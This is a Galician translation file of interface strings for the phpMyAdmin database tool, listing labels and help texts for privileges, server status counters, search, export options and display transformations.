$strPDFOptions 'Opcións de PDF';
$strPDF 'PDF';
$strPDFReportTitle 'Título do informe';
$strPerHour 'por hora';
$strPerMinute 'por minuto';
$strPerSecond 'por segundo';
$strPersian 'Persa';
$strPhoneBook 'directorio telefónico';
$strPHP40203 'Está a usar PHP 4.2.3, que contén un erro importante relacionado coas cadeas multi-byte (mbstring). Consulte o informe de erros número 19404. Non se recomenda usar esta versión do PHP co phpMyAdmin.';
$strPhp 'Crear código PHP';
$strPHPVersion 'Versión do PHP';
$strPmaDocumentation 'Documentación do phpMyAdmin';
$strPmaUriError 'A directiva <tt>$cfg[\'PmaAbsoluteUri\']</tt> DEBE estar asignada no seu ficheiro de configuración.';
$strPolish 'Polonés';
$strPortrait 'Vertical';
$strPos1 'Inicio';
$strPrevious 'Anterior';
$strPrimaryKeyHasBeenDropped 'Eliminouse a chave primaria';
$strPrimaryKeyName 'O nome da chave primaria debe ser... PRIMARIA';
$strPrimaryKeyWarning '("PRIMARIA" <b>debe</b> ser o nome de e <b>só de</b> unha chave primaria)';
$strPrimary 'Primaria';
$strPrint 'Imprimir';
$strPrintViewFull 'Vista previa da impresión (con textos completos)';  
$strPrintView 'Visualización previa da impresión';
$strPrivDescAllPrivileges 'Inclue todos os privilexios a excepción de GRANT (Conceder).';
$strPrivDescAlter 'Permite alterar a estrutura das tabelas xa existentes.';
$strPrivDescAlterRoutine 'Permite alterar e eliminar rotinas armacenadas.';
$strPrivDescCreateDb 'Permite crear novas bases de datos e tabelas.';
$strPrivDescCreateRoutine 'Permite crear rotinas armacenadas.';
$strPrivDescCreateTbl 'Permite crear tabelas novas.';
$strPrivDescCreateTmpTable 'Permite crear tabelas temporais.';
$strPrivDescCreateUser 'Permite crear, eliminar e mudar o nome das contas de usuario.';
$strPrivDescCreateView 'Permite crear vistas novas.';
$strPrivDescDelete 'Permite eliminar datos.';
$strPrivDescDropDb 'Permite eliminar bases de datos e tabelas.';
$strPrivDescDropTbl 'Permite eliminar tabelas.';
$strPrivDescExecute5 'Permite executar rotinas armacenadas.';
$strPrivDescExecute 'Permite facer correr procedimentos armacenados. Non funciona nesta versión do MySQL.';
$strPrivDescFile 'Permite importar e exportar datos desde e para ficheiros.';
$strPrivDescGrant 'Permite acrescentar usuarios e privilexios sen recarregar as tabelas de privilexios.';
$strPrivDescIndex 'Permite crear e eliminar índices.';
$strPrivDescInsert 'Permite inserir e substituir datos.';
$strPrivDescLockTables 'Permite bloquear tabelas do fío en uso';
$strPrivDescMaxConnections 'Limita o número de conexións novas por hora que pode abrir un usuario.';
$strPrivDescMaxQuestions 'Limita o número de procuras por hora que pode enviar un usuario.';
$strPrivDescMaxUpdates 'Limita o número de comandos que modifiquen unha tabela ou database por hora que pode executar un usuario.';
$strPrivDescMaxUserConnections 'Limita o número de conexións simultáneas que pode ter o utilizador.';
$strPrivDescProcess3 'Permite matar procesos pertencentes a outros usuarios.';
$strPrivDescProcess4 'Permite ver as procuras completas na listaxe de procesos.';
$strPrivDescReferences 'Non funciona nesta versión do MySQL.';
$strPrivDescReload 'Permite recarregar a configuración do servidor e limpar a súa caché.';
$strPrivDescReplClient 'Permite-lle ao usuario perguntar onde están os escravos e os masters.';
$strPrivDescReplSlave 'Necesario para os escravos de replicación.';
$strPrivDescSelect 'Permite gravar datos.';
$strPrivDescShowDb 'Permite acceder á listaxe de bases de datos completa';
$strPrivDescShowView 'Permite realizar consultas SHOW CREATE VIEW.';
$strPrivDescShutdown 'Permite apagar o servidor.';
$strPrivDescSuper 'Permite conexións, mesmo chegado ao número máximo de conexións. Ven requerido para a maioría das operación administracións, como configurar as variábeis globais ou matar os fíos doutros usuarios.';
$strPrivDescUpdate 'Permite modificar datos.';
$strPrivDescUsage 'Sen privilexios.';
$strPrivileges 'Privilexios';
$strPrivilegesReloaded 'Non houbo problemas ao recarregar os privilexios.';
$strProcesslist 'Listaxe dos procesos';
$strProtocolVersion 'Versión do protocolo';
$strPutColNames 'Pór os nomes dos campos na primeira fileira';

$strQBEDel 'Eliminar';
$strQBEIns 'Inserir';
$strQBE 'Procurar cun exemplo';
$strQueryCache 'caché de procuras';
$strQueryFrame 'Xanela de procuras';
$strQueryOnDb 'Procura tipo SQL na base de datos <b>%s</b>:';
$strQuerySQLHistory 'Historial de SQL';
$strQueryStatistics '<b>Estatística das procuras</b>: Desde que se iniciou, enviáronselle ao servidor %s procuras.';
$strQueryTime 'A pesquisa levou %01.4f segundos';
$strQueryType 'Tipo de procura';
$strQueryWindowLock 'Non escreber sobre esta procura desde fora da xanela';

$strReadRequests 'Peticións de lectura';
$strReceived 'Recibido';
$strRecords 'Rexistros';
$strReferentialIntegrity 'Comprobar a integridade das referencias:';
$strRefresh 'Refrescar';  
$strRelationalSchema 'Relational schema';
$strRelationNotWorking 'Desactivouse a funcionalidade adicional para o traballo con tabelas vinculadas. Para saber o por que, faga click%saqu&iacute;%s.';
$strRelationsForTable 'RELACIÓNS PARA A TABELA';  
$strRelations 'Relacións';
$strRelationView 'Vista das relacións';
$strReloadingThePrivileges 'A recarregar os privilexios';
$strReloadMySQL 'Reinicializar o MySQL';
$strRemoveSelectedUsers 'Eliminar os usuarios seleccionados';
$strRenameDatabaseOK 'Mudou-se-lle o nome á base de datos %s para %s';  
$strRenameTableOK 'A tabela \$table renomeouse para \$new_name';
$strRenameTable 'Renomear a tabela para';
$strRepairTable 'Reparar a tabela';
$strReplaceNULLBy 'Substituir NULL por ';
$strReplaceTable 'Substituir os datos da tabela polos do ficheiro';
$strReplication 'Replicación';
$strReset 'Reiniciar';
$strResourceLimits 'Limites de recursos';
$strReType 'Reescreber';
$strRevokeAndDeleteDescr 'Os usuarios terán ainda o privilexio USAGE até que se recarreguen os privilexios.';
$strRevokeAndDelete 'Retirar-lles todos os privilexios activos aos usuarios e eliminá-los a continuación.';
$strRevokeMessage 'Retirou-lle os privilexios a %s';
$strRevoke 'Revogar';
$strRomanian 'Romeno';
$strRowLength 'Lonxitude da fileira';
$strRows 'Fileiras';
$strRowsFrom 'fileiras, a comezar da';
$strRowSize ' Tamaño da fileira ';
$strRowsModeFlippedHorizontal 'horizontal (cabezallos rotados)';
$strRowsModeHorizontal 'horizontal';
$strRowsModeOptions 'en modo %s e repetir os cabezallos de cada %s celas';
$strRowsModeVertical 'vertical';
$strRowsStatistic 'Estatísticas da Fileira';
$strRunning 'a rodar no servidor %s';
$strRunQuery 'Enviar esta procura';
$strRunSQLQuery 'Efectuar unha procura SQL na base de datos %s';
$strRunSQLQueryOnServer 'Executar procura/s SQL no servidor %s';
$strRussian 'Ruso';

$strSave 'Gardar';
$strSaveOnServer 'Gardar no servidor no directorio %s';
$strScaleFactorSmall 'O factor de reducción é demasiado pequeno para que o esquema caiba nunha única páxina';
$strSearchFormTitle 'Procurar na base de datos';
$strSearchInTables 'Dentro da(s) tabela(s):';
$strSearchNeedle 'Palabras(s) ou valore(s) a procurar (o comodín é: "%"):';
$strSearchOption1 'polo menos unha das palabras';
$strSearchOption2 'todas as palabras';
$strSearchOption3 'a frase exacta';
$strSearchOption4 'como expresión regular';
$strSearch 'Procurar';
$strSearchResultsFor 'Procurar os resultados para "<i>%s</i>" %s:';
$strSearchType 'Atopar:';
$strSecretRequired 'O ficheiro de configuración agora necesita un contrasinal secreto (blowfish_secret).';
$strSelectADb 'Seleccione unha base de dados';
$strSelectAll 'Seleccionar todo';
$strSelectBinaryLog 'Seleccione o ficheiro de rexistro binario que quer ver';
$strSelectFields 'Seleccione os campos (mínimo 1)';
$strSelectNumRows 'a procurar';
$strSelectTables 'Seleccionar tabelas';
$strSend 'Enviar <i>(gravar nun ficheiro)</i><br />';
$strSent 'Enviado';
$strServerChoice 'Escolla de Servidor';
$strServerNotResponding 'O servidor non está a responder';  
$strServer 'Servidor';
$strServerStatusDelayedInserts 'Insercións demoradas';
$strServerStatus 'Información sobre o runtime';
$strServerStatusUptime 'Este servidor de MySQL leva funcionando %s. Iniciouse às %s.';
$strServerTabProcesslist 'Procesos';
$strServerTabVariables 'Variábeis';
$strServerTrafficNotes '<b>Tráfico do servidor</b>: Estas tabelas mostran as estatísticas do tráfico da rede neste servidor de MySQL desde que se iniciou.';
$strServerVars 'Variábeis e configuración do servidor';
$strServerVersion 'Versión do servidor';
$strSessionValue 'Valor da sesión';
$strSetEnumVal 'Se o tipo de campo é "enum" ou "set", introduza os valores usando este formato: \'a\',\'b\',\'c\'...<br />Se precisar pór unha barra invertida (" \ ") ou aspas simples (" \' ") entre estes valores, preceda a barra e as aspas de barras invertidas (por exemplo \'\\\\xyz\' ou \'a\\\'b\').';
$strShowAll 'Ver todos os rexistros';
$strShowColor 'Mostrar a cor';
$strShowDatadictAs 'Formato do dicionario de datos';
$strShowFullQueries 'Mostrar as procuras completas';
$strShowGrid 'Mostrar a grella';
$strShowingBookmark 'A mostrar o marcador';
$strShowingRecords 'Mostrando rexistros ';
$strShow 'Mostrar';
$strShowOpenTables 'Mostrar as tabelas abertas';
$strShowPHPInfo 'Mostrar información sobre o PHP';
$strShowSlaveHosts 'Mostrar os servidores escravos';
$strShowSlaveStatus 'Mostrar o estado dos escravos';
$strShowStatusBinlog_cache_disk_useDescr 'Número de transaccións que utilizaron o caché do rexistro binario mais que excederon o valor de binlog_cache_size e utilizaron un ficheiro temporal para armacenar instrucións para a transacción.';
$strShowStatusBinlog_cache_useDescr 'Número de transaccións que utilizaron o caché do rexistro binario.';
$strShowStatusCreated_tmp_disk_tablesDescr 'Número de tabelas temporais no disco creadas automaticamente polo servidor ao executar as instrucións. Se Created_tmp_disk_tables é grande, pode querer incrementar o valor de tmp_table_size para que as tabelas temporais se baseen na memoria en vez de no disco.';
$strShowStatusCreated_tmp_filesDescr 'Cantos ficheiros temporais creou mysqld.';
$strShowStatusCreated_tmp_tablesDescr 'Número de tabelas temporais na-memoria creadas automaticamente polo servidor ao executar instrucións.';
$strShowStatusDelayed_errorsDescr 'Número de fileiras escritas con INSERT DELAYED que sofriron algún erro (probabelmente unha chave duplicada).';
$strShowStatusDelayed_insert_threadsDescr 'Número de fíos de manipulación INSERT DELAYED en uso. Cada tabela diferente na que se utiliza INSERT DELAYED recebe o seu propio fío.';
$strShowStatusDelayed_writesDescr 'Número de fileiras INSERT DELAYED escritas.';
$strShowStatusFlush_commandsDescr  'Número de instrucións FLUSH executadas.';
$strShowStatusHandler_commitDescr 'Número de instrucións COMMIT internas.';
$strShowStatusHandler_deleteDescr 'Número de veces que se eliminou unha fileira dunha tabela.';
$strShowStatusHandler_discoverDescr 'O servidor de MySQL pódelle perguntar ao motor de armacenamento NDB Cluster se sabe dunha tabela cun nome dado. Isto chámase descobrimento. Handler_discovery indica o número de veces que se descobriron tabelas.';
$strShowStatusHandler_read_firstDescr 'Número de veces que se leu a primeira entrada dun índice. Se é alto, tamén suxire que o servidor está realizando un monte de de exames de índice completos; por exemplo, SELECT col FROM algo, supoñendo que col está indexada.';
$strShowStatusHandler_read_keyDescr 'Número de peticións para ler unha fileira baseadas nunha chave. Se é alto, é unha boa indicación de que as procuras e tabelas están ben indexadas.';
$strShowStatusHandler_read_nextDescr 'Número de peticións para ler a seguinte fileira na orde da chave. Isto increméntase se está procurando unha columna de índice cunha limitación de rango ou se está a examinar un índice.';
$strShowStatusHandler_read_prevDescr 'Número de peticións para ler a fileira anterior na orde da chave. Este método de lectura utilízase sobre todo para optimizar ORDER BY ... DESC.';
$strShowStatusHandler_read_rndDescr 'Número de peticións para ler unha fileira baseadas nunha posición fixa. Isto é alto se está a realizar moitas procuras que requiren ordenar o resultado. Posibelmente terá un monte de procuras que esixen que MySQL examine tabelas completas ou ten unións que non usan as chaves apropiadamente.';
$strShowStatusHandler_read_rnd_nextDescr 'Número de peticións para ler a seguinte fileira no ficheiro de datos. Isto é alto se está a realizar moitos exames de tabelas. Normalmente suxire que as tabelas non están indexadas apropiadamente ou que as súas procuras non están escritas para aproveitar os índices de que dispón.';
$strShowStatusHandler_rollbackDescr 'Número de instrucións de ROLLBACK interno.';
$strShowStatusHandler_updateDescr 'Número de peticións para actualizar unha fileira nunha tabela.';
$strShowStatusHandler_writeDescr 'Número de peticións para inserir un ficheiro nunha tabela.';
$strShowStatusInnodb_buffer_pool_pages_dataDescr 'Número de páxinas que conteñen datos (suxos ou limpos).';
$strShowStatusInnodb_buffer_pool_pages_dirtyDescr 'Número de páxinas actualmente suxas.';
$strShowStatusInnodb_buffer_pool_pages_flushedDescr 'Número de páxinas do buffer que se pediu que se limpasen.';
$strShowStatusInnodb_buffer_pool_pages_freeDescr 'Número de páxinas libres.';
$strShowStatusInnodb_buffer_pool_pages_latchedDescr 'Número de páxinas con seguro no buffer InnoDB buffer. Estas páxinas están actualmente a ser lidas ou escritas ou non se poden limpar ou eliminar por algunha outra razón.';
$strShowStatusInnodb_buffer_pool_pages_miscDescr 'O número de páxinas ocupadas porque se destinan a reserva administrativa, tais como bloqueos de fileiras ou o índice hash adaptativo. Este valor tamén se pode calcular así: Innodb_buffer_pool_pages_total - Innodb_buffer_pool_pages_free - Innodb_buffer_pool_pages_data.';
$strShowStatusInnodb_buffer_pool_pages_totalDescr 'Tamaño total do búfer, en páxinas.';
$strShowStatusInnodb_buffer_pool_read_ahead_rndDescr 'Número de pré-lecturas "aleatorias" iniciadas por InnoDB. Isto acontece cando unha procura vai examinar unha porción grande dunha tabela mais en orde aleatoria.';
$strShowStatusInnodb_buffer_pool_read_ahead_seqDescr 'Número de pre-lecturas secuenciais iniciada por innoDB. Isto acontece cando InnoDB realiza un exame secuencial completo dunha tabela.';
$strShowStatusInnodb_buffer_pool_read_requestsDescr 'Número de peticións de lectura lóxicas feitas por InnoDB.';
$strShowStatusInnodb_buffer_pool_readsDescr 'Número de lecturas lóxicas que InnoDB non puido satisfacer do búfer e tivo que efectuar por medio de lecturas dunha única páxina.';
$strShowStatusInnodb_buffer_pool_wait_freeDescr 'Normalmente, escríbese no búfer de InnoDB como tarefa de fondo. Porén, de se precisar ler ou crear unha páxina e non haber páxinas limpas disponíbeis, hai que agardar a que se limpen. Este contador vai contando cantas veces hai que esperar. Se o tamaño do búfer é o apropiado, este valor debería ser pequeno.';
$strShowStatusInnodb_buffer_pool_write_requestsDescr 'Número de veces que se escribiu no búfer InnoDB.';
$strShowStatusInnodb_data_fsyncsDescr 'Número de operacións fsync() até o momento.';
$strShowStatusInnodb_data_pending_fsyncsDescr 'Número actual de operacións fsync() pendentes.';
$strShowStatusInnodb_data_pending_readsDescr 'Número actual de lecturas pendentes.';
$strShowStatusInnodb_data_pending_writesDescr 'Número actual de escritas pendentes.';
$strShowStatusInnodb_data_readDescr 'Cantidade de datos lida até o momento, en bytes.';
$strShowStatusInnodb_data_readsDescr 'Número total de lecturas de datos.';
$strShowStatusInnodb_data_writesDescr 'Número total de escritas de datos.';
$strShowStatusInnodb_data_writtenDescr 'Cantidade de datos escrita até o momento, en bytes.';
$strShowStatusInnodb_dblwr_pages_writtenDescr 'Número de escritas duplas realizadas e número de páxinas escritas con este propósito.';
$strShowStatusInnodb_dblwr_writesDescr 'Número de escritas duplas realizadas e número de páxinas escritas con este propósito.';
$strShowStatusInnodb_log_waitsDescr 'Número de esperas debidas a que o búfer do rexistro é demasiado pequeno e houbo que agardar até que se limpase para continuar.';
$strShowStatusInnodb_log_write_requestsDescr 'Número de peticións de escrita no rexistro.';
$strShowStatusInnodb_log_writesDescr 'Número de escritas físicas no ficheiro de rexistro.';
$strShowStatusInnodb_os_log_fsyncsDescr 'Número de escritas fsyncss feitas no ficheiro de rexistro.';
$strShowStatusInnodb_os_log_pending_fsyncsDescr 'Número de fsyncs do ficheiro de rexistro pendentes.';
$strShowStatusInnodb_os_log_pending_writesDescr 'Escritas no ficheiro de rexistro pendentes.';
$strShowStatusInnodb_os_log_writtenDescr 'Número de bytes escritos no ficheiro de rexistro.';
$strShowStatusInnodb_pages_createdDescr 'Número de páxinas creadas.';
$strShowStatusInnodb_page_sizeDescr 'O tamaño de páxina InnoDB incluído (por omisión 16KB). Moitos valores cóntanse en páxinas: o tamaño da páxina permite que se convirtan doadamente en bytes.';
$strShowStatusInnodb_pages_readDescr 'Número de páxinas lidas.';
$strShowStatusInnodb_pages_writtenDescr 'Número de páxinas escritas.';
$strShowStatusInnodb_row_lock_current_waitsDescr 'Número de bloqueo de fileiras polos que se está a aguardar agora mesmo.';
$strShowStatusInnodb_row_lock_time_avgDescr 'Tempo que, de media, leva adquirir un bloqueo sobre unha fileira, en milisegundos.';
$strShowStatusInnodb_row_lock_timeDescr 'Tempo total empregado na adquisición de bloqueos sobre as fileiras, en milisegundos.';
$strShowStatusInnodb_row_lock_time_maxDescr 'Tempo máximo en adquirir un bloqueo de fileira, en milisegundos.';
$strShowStatusInnodb_row_lock_waitsDescr 'Número de veces que houbo que agardar polo bloqueo dunha fileira.';
$strShowStatusInnodb_rows_deletedDescr 'Número de fileiras eliminadas das tabelas InnoDB.';
$strShowStatusInnodb_rows_insertedDescr 'Número de fileiras inseridas nas tabelas InnoDB.';
$strShowStatusInnodb_rows_readDescr 'Número de fileiras lidas das tabelas InnoDB.';
$strShowStatusInnodb_rows_updatedDescr 'Número de fileiras actualizadas en tabelas InnoDB.';
$strShowStatusKey_blocks_not_flushedDescr 'Número de bloques chave na caché de chaves que se mudaron mais que ainda non se limparon para o disco. Antes era Not_flushed_key_blocks.';
$strShowStatusKey_blocks_unusedDescr 'Número de bloques sen utilizar na caché de chaves. Pode utilizar este valor para determinar canta caché de chave está en uso.';
$strShowStatusKey_blocks_usedDescr 'Número de bloques utilizados na caché de chaves. Este valor é unha referencia superior que indica o número máximo de bloques que se teñen empregado.';
$strShowStatusKey_read_requestsDescr 'Número de peticións para ler un bloque chave da caché.';
$strShowStatusKey_readsDescr 'Número de lecturas físicas dun bloque chave desde o disco. Se key_reads é grande, entón o valor de key_fuffer_size é posibelmente demasiado baixo. A relación de perdas da caché pódese calcular así: Key_reads/Key_read_requests.';
$strShowStatusKey_write_requestsDescr 'Número de peticións para escribir un bloque chave na caché.';
$strShowStatusKey_writesDescr 'Número de escritas físicas dun bloque chave no disco.';
$strShowStatusLast_query_costDescr 'Custo total da última procura compilada tal e como se computa mediante o optimizador de procuras. Resulta útil para comparar o custo de planos de procura diferentes para a mesma pesquisa. O valor por omisión é 0, que significa que ainda non se compilou nengunha procura.';
$strShowStatusNot_flushed_delayed_rowsDescr 'Número de procuras que están a agardar para seren escritas nas filas INSERT DELAY.';
$strShowStatusOpened_tablesDescr 'Número de tabelas abertas en total. Se a cantidade é grande, o valor da caché de tabelas posibelmente é demasiado pequeno.';
$strShowStatusOpen_filesDescr 'Número de ficheiros abertos.';
$strShowStatusOpen_streamsDescr 'Número de fluxos abertos (utilizado principalmente para o rexistro).';
$strShowStatusOpen_tablesDescr 'Número de tabelas abertas.';
$strShowStatusQcache_free_blocksDescr 'Número de bloques de memoria libres na caché de procuras.';
$strShowStatusQcache_free_memoryDescr 'Cantidade de memoria libre para a caché de procuras.';
$strShowStatusQcache_hitsDescr 'Número de impactos na caché.';
$strShowStatusQcache_insertsDescr 'Número de procuras adicionadas á caché.';
$strShowStatusQcache_lowmem_prunesDescr 'Número de procuras eliminadas da caché para liberar memoria para deixar a caché para procuras novas. Esta información pode axudar a afinar o tamaño da caché de procuras. A caché de procuras utiliza unha estratexia de utilizado menos recentemente (LRU) para decidir que procuras debe eliminar da caché.';
$strShowStatusQcache_not_cachedDescr 'Número de procuras non enviadas á caché (que non se poden enviar, debido á configuración de query_cache_type).';
$strShowStatusQcache_queries_in_cacheDescr 'Número de procuras rexistradas na caché.';
$strShowStatusQcache_total_blocksDescr 'Número total de bloques na caché de procuras.';
$strShowStatusReset 'Reiniciar';
$strShowStatusRpl_statusDescr 'Estado da replicación en modo seguro (ainda non realizado).';
$strShowStatusSelect_full_joinDescr 'Número de unións que non utilizan índices. Se este valor non é 0, debería comprobar con atención os índices das tabelas.';
$strShowStatusSelect_full_range_joinDescr 'Número de unións que utilizaron un rango de procura nunha tabela de referencia.';
$strShowStatusSelect_range_checkDescr 'Número de unións de chaves que comproban a utilización de chaves despois de cada fileira (se non é 0, debería comprobar con atención os índices das tabelas).';
$strShowStatusSelect_rangeDescr 'Número de unións que utilizaron rangos na primeira tabela (Normalmente non é grave mesmo de ser grande)';
$strShowStatusSelect_scanDescr 'Número de unións que realizaron un exame completo da primeira tabela.';
$strShowStatusSlave_open_temp_tablesDescr 'Número de tabelas temporais actualmente abertas polo fío SQL escravo.';
$strShowStatusSlave_retried_transactionsDescr 'Número total de veces (desde o inicio) que o fío de replicación SQL escravo reintentou as transaccións.';
$strShowStatusSlave_runningDescr 'Isto está ON se este servidor é un escravo conectado a un máster.';
$strShowStatusSlow_launch_threadsDescr 'Número de fíos aos que lles levou crearse máis de slow_launch_time segundos.';
$strShowStatusSlow_queriesDescr 'Número de procuras ás que lles levou máis de long_query_time segundos.';
$strShowStatusSort_merge_passesDescr 'Número de pasaxes de fusión que tivo que facer o algoritmo de ordenación. Se este valor é grande, debería considerar incrementar o valor da variábel de sistema sort_buffer_size.';
$strShowStatusSort_rangeDescr 'Número de ordenacións feitas con rangos.';
$strShowStatusSort_rowsDescr 'Número de fileiras ordenadas.';
$strShowStatusSort_scanDescr 'Número de ordenacións realizadas examinando a tabela.';
$strShowStatusTable_locks_immediateDescr 'Número de veces que se adquiriu inmediatamente un bloqueo de tabela.';
$strShowStatusTable_locks_waitedDescr 'Número de veces que non se puido adquirir inmediatamente un bloqueo de tabela e houbo que agardar. De ser alto e ter observado problemas no desempeño, debería en primeiro lugar mellorar as procuras e despois, ora partir a tabela ou tabelas, ora utilizar replicación.';
$strShowStatusThreads_cachedDescr 'Número de fíos na caché de fíos. A relación de impactos da caché pódese calcular como Threads_created/Connections. Se este valor é vermello debería aumentar a thread_cache_size.';
$strShowStatusThreads_connectedDescr 'Número de conexións abertas neste momento.';
$strShowStatusThreads_createdDescr 'Número de fíos creados para xerir as conexións. De ser Threads_created grande, pode querer aumentar o valor de thread_cache_size. (Normalmente isto non fornece unha mellora notábel no desempeño se ten unha boa implementación de fíos.)';
$strShowStatusThreads_runningDescr 'Número de fíos que non están a durmir.';
$strShowTableDimension 'Mostrar a dimensión das tabelas';
$strShowTables 'Mostrar as tabelas';
$strShowThisQuery ' Mostrar esta procura aquí outra vez ';
$strSimplifiedChinese 'Chinés simplificado';
$strSingly 'a refacer logo de insercións e destrucións (shingly)';
$strSize 'Tamaño';
$strSkipQueries 'Número de rexistros (procuras) a saltar desde o inicio';
$strSlovak 'Eslovaco';
$strSlovenian 'Esloveno';
$strSocketProblem '(ou o soquete local do servidor de MySQL non se configurou correctamente)';
$strSortByKey 'Ordenar pola chave';  
$strSorting 'Ordenación';
$strSort 'Ordenar';
$strSpaceUsage 'Uso do espazo';
$strSpanish 'Español';  
$strSplitWordsWithSpace 'As palabras divídense cun carácter de espazo (" ").';
$strSQLExportCompatibility 'Compatibilidade coa exportación SQL';
$strSQLExportType 'Tipo de exportación';  
$strSQLImportOptions 'Opcións de SQL';
$strSQLOptions 'Opcións SQL';
$strSQLParserBugMessage 'Cabe a posibilidade de que atopase un erro no procesador de SQL. Examine a súa pesquisa con atención e comprobe que as aspas son correctas e que cada un ten o seu par. Outras causas posíbeis serían que tentase enviar un ficheiro con binario fora dunha área de texto entre aspas. Tamén pode tentar facer a súa pesquisa na liña de comandos do MySQL. A mensaxe de erro que lle envía o servidor de MySQL, e que aparece máis abaixo (de habela), tamén o pode axudar a diagnosticar o problema. Se persisten os erros ou se o procesador falla cando mesmo a liña de comandos vai ben,reduza o texto da pesquisa à parte concreta que produce o erro e envíe unha mensaxe de erro co texto da sección RECORTE que aparece a continuación:';
$strSQLParserUserError 'Parece que houbo un problema na súa pesquisa en SQL. Se máis abaixo aparece unha mensaxe de erro do servidor de MySQL, isto pode axudar a diagnosticar o problema';
$strSQLQuery 'comando SQL';
$strSQLResult 'Resultado SQL';
$strSQL 'SQL';
$strSQPBugInvalidIdentifer 'O identificador non é válido';
$strSQPBugUnclosedQuote 'Falta pór a aspa final';
$strSQPBugUnknownPunctuation 'Hai unha secuencia de puntuación que resulta descoñecida';
$strStatCheckTime 'Comprobación máis recente';
$strStatCreateTime 'Creación';
$strStatement 'Informacións';
$strStatisticsOverrun 'Nun servidor ocupado, os contadores de bytes poden sobrecarregarse, de maneria que esas estatísticas, tal e como as transmite o servidor de MySQL, poden resultar incorrectas.';
$strStatUpdateTime 'Actualización máis recente';
$strStatus 'Estado';
$strStorageEngine 'Motor de armacenamento';
$strStorageEngines 'Motores de armacenamento';
$strStrucCSV 'Datos CSV';
$strStrucData 'Estrutura e datos';
$strStrucDrop 'Adicionar \'Eliminar a tabela anterior se xa existe\'';
$strStrucExcelCSV 'CSV (para datos de MS Excel)';
$strStrucNativeExcel 'Datos nativos de MS Excel';  
$strStrucOnly 'Só a estrutura';
$strStructPropose 'Propor unha estrutura para a tabela';
$strStructure 'Estrutura';
$strSubmit 'Submeter';
$strSuccess 'O seu comando de SQL executou-se com éxito';
$strSum 'Suma';
$strSwedish 'Sueco';
$strSwitchToDatabase 'Pasar á base de datos copiada';
$strSwitchToTable 'Ir à tabela copiada';

$strTableAlreadyExists 'A tabela %s xa existe!!';
$strTableComments 'Comentarios da tabela';
$strTableEmpty 'O nome da tabela está vacío!';
$strTableHasBeenDropped 'Eliminouse a tabela %s';
$strTableHasBeenEmptied 'Vaciouse a tabela %s';
$strTableHasBeenFlushed 'Fechouse a tabela %s';
$strTableMaintenance 'Tabela de manutención';
$strTableOfContents 'Índice';
$strTableOptions 'Opcións de tabela';
$strTables '%s tabela(s)';
$strTableStructure 'Estrutura da tabela';
$strTable 'Tabela';
$strTableType 'Tipo da tabela';
$strTakeIt 'colle-o';  
$strTblPrivileges 'Privilexios proprios de tabela';
$strTempData 'Datos temporais';
$strTextAreaLength ' Por causa da sua lonxitude,<br /> este campo pode non ser editábel ';
$strThai 'Tailandés';
$strThemeDefaultNotFound 'Non se atopou o tema por omisión %s!';
$strThemeNoPreviewAvailable 'Non se dispón de ante-visión.';
$strThemeNotFound 'Non se atopou o tema %s!';
$strThemeNoValidImgPath 'Non hai unha rota válida de imaxe para o tema %s!';
$strThemePathNotFound 'Non se atopou a rota do tema para o tema %s!';
$strTheme 'Tema / Estilo';  
$strThisHost 'Este servidor';
$strThisNotDirectory 'Isto non era un directorio';
$strThreads 'Fíos';
$strThreadSuccessfullyKilled 'Finalizouse o fío %s.';
$strTimeoutInfo 'A importación anterior excedeu do tempo permitido; unha vez reiniciada continuará desde a posición %d.';
$strTimeoutNothingParsed 'Porén, na última executación non se examinou nada de datos, o que normalmente significa que o phpMyAdmin non poderá rematar esta importación a non ser que lle incrementen os limites de tempo de php.';
$strTimeoutPassed 'Ultrapasouse o tempo de espera do guión. Se quer rematar a importación, volva a enviar o mesmo ficheiro e a importación continuará.';
$strTime 'Tempo';
$strToggleScratchboard 'conmutar o borrador';
$strTotal 'total';
$strTotalUC 'Total';
$strTraditionalChinese 'Chinés tradicional';
$strTraditionalSpanish 'Español tradicional';
$strTraffic 'Tráfico';
$strTransactionCoordinator 'Coordinador da transacción';
$strTransformation_application_octetstream__download 'Mostrar un vínculo para baixar os datos binarios dun campo. A primeira opción é o nome do ficheiro binario. A segunda é un nome posíbel para o campo dunha fileira de tabela que conteña o nome do ficheiro. Se pretende seleccionar a segunda opción, a primeira deberá conter só unha cadea vacia';  
$strTransformation_application_octetstream__hex 'Mostra unha representación hexadecimal dos datos.';
$strTransformation_image_jpeg__inline 'Mostra unha imaxe reducida vinculábel. Opcións: anchura,altura en píxeles (mantén a proporción orixinal)';
$strTransformation_image_jpeg__link 'Mostra un vínculo a esta imaxe (ou sexa, baixada directa de blob).';
$strTransformation_image_png__inline 'Ver image/jpeg: na liña';
$strTransformation_text_plain__dateformat 'Colle un campo TIME, TIMESTAMP ou DATETIME e formata-o usando o seu formato de data local.  A primeira opción é offset (en horas), que se engadirá á marca horaria (timestamp, por omisión, 0). A segunda opción é un formato de data diferente dependendo dos parámetros disponíbeis para a función strftime() do PHP.';
$strTransformation_text_plain__external 'SÓ EN LINUX: Inícia unha aplicación externa e envia-lle o campo de datos por meio do input padrón.  Devolve a saída padrón da aplicación. Por omisión é Tidy, para que resulte código HTML claro. Por razóns de seguranza, ten que editar manualmente o ficheiro libraries/transformations/text_plain__external.inc.php e inserir as ferramentas que quer permitir que funcionen. A primeira opción, polo tanto, é o número do programa que quer usar e a segunda opción son os parámetros do programa. O terceiro parámetro, se é 1, usará htmlspecialchars() para convertir a saída (Por omisión é 1). Un cuarto parámetro, se é 1, porá un NOWRAP na cela de contidos para que toda a saída se mostre sen reformatar (Por omisión é 1)';
$strTransformation_text_plain__formatted 'Mantén o formato orixinal do campo. Non hai Escape.';
$strTransformation_text_plain__imagelink 'Mostra unha imaxe e un vínculo; o campo conte o nome do ficheiro. A primeira opción é un prefixo do tipo "http://domain.com/"; a segunda opción é o ancho en píxeles; a terceira é a altura.';
$strTransformation_text_plain__link 'Mostra un vínculo; o campo contén o nome do ficheiro. A primeira opción é un prefixo do tipo "http://domain.com/"; a segunda opción é un título para o vínculo.';
$strTransformation_text_plain__sql 'Formata texto como procura SQL e resalta a sintaxe.';
$strTransformation_text_plain__substr 'Só mostra parte dunha cadea. A primeira opción é unha distancia para definir onde comeza a saída de texto (por omisión, 0). A segunda opción é unha distancia cando texto se devolve. Se é vacio, volve todo o texto que resta. A terceira opción define que caracteres se engadirán á saída cando se devolve unha subcadea (Por omisión: ...).';
$strTruncateQueries 'Interrumpir as procuras mostradas';
$strTurkish 'Turco';
$strType 'Tipo';

$strUkrainian 'Ucraniano';
$strUncheckAll 'Quitar-lles as marcas a todos';
$strUnicode 'Unicode';
